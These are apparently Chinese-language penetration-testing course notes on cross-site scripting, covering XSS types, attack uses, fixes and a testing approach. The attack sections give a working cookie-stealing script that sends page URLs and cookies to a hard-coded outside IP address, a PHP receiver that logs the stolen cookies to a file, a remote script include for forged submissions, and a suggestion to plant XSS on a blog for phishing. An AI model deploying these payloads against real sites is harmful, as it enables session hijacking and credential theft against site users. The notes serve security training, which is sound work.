漏洞原理：接受輸入數據，輸出顯示數據后解析執行
基礎類型：反射 ( 非持續 ) ，存儲 ( 持續 ) ， DOM-BASE
拓展類型： jquery ， mxss ， uxss ， pdfxss ， flashxss ，上傳 xss 等
常用標簽： https://www.freebuf.com/articles/web/340080.html
攻擊利用：盲打， COOKIE 盜取，憑據竊取，頁面劫持，網絡釣魚，權限維持等
安全修復：字符過濾，實例化編碼， http_only ， CSP 防護， WAF 攔截等
測試流程：看輸出想輸入在哪里，更改輸入代碼看執行（標簽，過濾決定）
#XSS 跨站 - 攻擊利用 - 憑據盜取
條件：無防護 Cookie 憑據獲取
利用： XSS 平臺或手寫接受代碼
觸發： <script>var
url='http://47.94.236.117/getcookie.php?u='+window.location.href+
'&c='+document.cookie;document.write("<img src="+url+"
/>");</script>
接受：
<?php
$url=$_GET['u'];
$cookie=$_GET['c'];
$fp = fopen('cookie.txt',"a");
fwrite($fp,$url."|".$cookie."\n");
fclose($fp);
?>
#XSS 跨站 - 攻擊利用 - 數據提交
條件：熟悉后臺業務功能數據包，利用 JS 寫一個模擬提交
利用：憑據獲取不到或有防護無法利用憑據進入時執行其他
然后再寫<script src="http://xx.xxx.xxx/poc.js"></script>
也可以主動釣魚 比如 在自己博客放xss語句 然后進行頁面劫持?
